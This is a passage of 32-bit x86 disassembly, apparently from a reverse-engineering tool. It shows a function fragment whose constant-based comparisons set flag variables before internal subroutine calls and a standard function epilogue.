imul eax, dword [ebp - 0x174], 0xa83
cmp eax, dword [ebp - 0x18]
jne 0x1001963a
mov dword [ebp - 0x17c], 1
jmp 0x10019641
and dword [ebp - 0x17c], 0
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x17c], eax
jg 0x10019658
mov dword [ebp - 0x184], 1
jmp 0x1001965f
and dword [ebp - 0x184], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x184], eax
jge 0x10019676
mov dword [ebp - 0x18c], 1
jmp 0x1001967d
and dword [ebp - 0x18c], 0
mov eax, dword [ebp - 0x38]
cmp dword [ebp - 0x18c], eax
jl 0x10019694
mov dword [ebp - 0x19c], 1
jmp 0x1001969b
and dword [ebp - 0x19c], 0
mov eax, dword [ebp - 0x194]
imul eax, dword [ebp - 0x19c]
cmp eax, dword [ebp - 0x18]
je 0x100196b9
mov dword [ebp - 0x1a4], 1
jmp 0x100196c0
and dword [ebp - 0x1a4], 0
imul eax, dword [ebp - 0x1a4], 0xed69
cmp eax, 1
jge 0x100196db
mov dword [ebp - 0x210], 1
jmp 0x100196e2
and dword [ebp - 0x210], 0
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x2dc], eax
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2c4]
mov dword [ebp - 0x320], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 0
push 4
pop edx
imul edx, edx, 3
mov edx, dword [ebp + edx - 0x2c4]
sub edx, 0x7b9d8ae4
sub edx, dword [ebp + ecx - 0x2c4]
cmp edx, dword [ebp + eax - 0x2c4]
jne 0x10019739
mov dword [ebp - 0x1ac], 1
jmp 0x10019740
and dword [ebp - 0x1ac], 0
mov eax, dword [ebp - 0x1ac]
dec eax
cmp eax, dword [ebp - 0x38]
jl 0x10019758
mov dword [ebp - 0x1b4], 1
jmp 0x1001975f
and dword [ebp - 0x1b4], 0
mov eax, dword [ebp - 0x1b4]
mov dword [ebp - 0x218], eax
push 0
push 0x6ab6
push 0x3a06
push 0x49fe
lea eax, [ebp - 0xa4]
push eax
lea eax, [ebp - 0x308]
push eax
push 0xd20
call fcn.100197e9
add esp, 0x1c
jmp 0x1001917f
lea eax, [ebp - 0x308]
push eax
mov ecx, dword [ebp - 0x220]
call fcn.1001d29c
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x308]
call fcn.1001d292
jmp 0x100197d8
jmp 0x100197d8
push 0
call fcn.100156e8
pop ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret